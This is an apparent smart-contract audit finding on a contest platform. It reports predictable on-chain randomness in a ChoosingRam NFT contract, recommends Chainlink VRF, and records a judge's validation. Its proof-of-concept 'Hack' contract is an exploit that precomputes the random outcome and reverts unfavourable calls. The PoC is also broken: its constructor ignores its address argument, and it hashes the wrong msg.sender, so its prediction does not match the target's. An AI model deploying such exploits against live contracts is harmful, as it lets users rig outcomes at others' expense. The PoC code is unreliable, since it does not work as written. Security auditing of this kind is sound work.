Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

### [H-3] `ChoosingRam::increaseValuesOfParticipants` function has predictable randomness because it uses `block.timestamp` and `block.prevrandao`.

[H-3] ChoosingRam::increaseValuesOfParticipants function has predictable randomness because it uses block.timestamp and block.prevrandao. A malicious user can call the function only when it is guaranteed to benefit him.

Description: This is a known issue in Solidity and you can read more about it here https://soliditydeveloper.com/prevrandao.
Another instance of this issue is present in the ChoosingRam::selectRamIfNotSelected function. This allows the organiser to predict the winner before calling the function.

Impact: A malicious user can compute the value of the random variable before calling the ChoosingRam::increaseValuesOfParticipants function. uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % 2;. If the outcome is favorable for the attacker, he allows the call to happen, if the outcome is not favorable, he reverts the transaction until the value of random is zero so that it benefits him.

Proof of Concepts: The purpose of the contract below is to demonstrate how a malicious user can precompute the random value before calling the ChoosingRam::increaseValuesOfParticipants function, and only call it if he is guaranteed to win and update the values of his own NFT.

PoC - Click the arrow below
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Hack {
ChoosingRam public choosingRamContract;
error UnfavorableNumber();
constructor(address _choosingRamContract) {
choosingRamContract = ChoosingRam(choosingRamContract);
}
function callIfRandomIsZero() public {
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % 2;
if (random == 0) {
choosingRamContract.increaseValuesOfParticipants(0, 0); //insert id of NFTs you want to manipulate
} else {
revert UnfavorableNumber();
}
}
}

Recommended mitigation: Consider using Chainlink's VRF or a similar service in order to generate random numbers.

Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak randomness in `ChoosingRam::increaseValuesOfParticipants`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.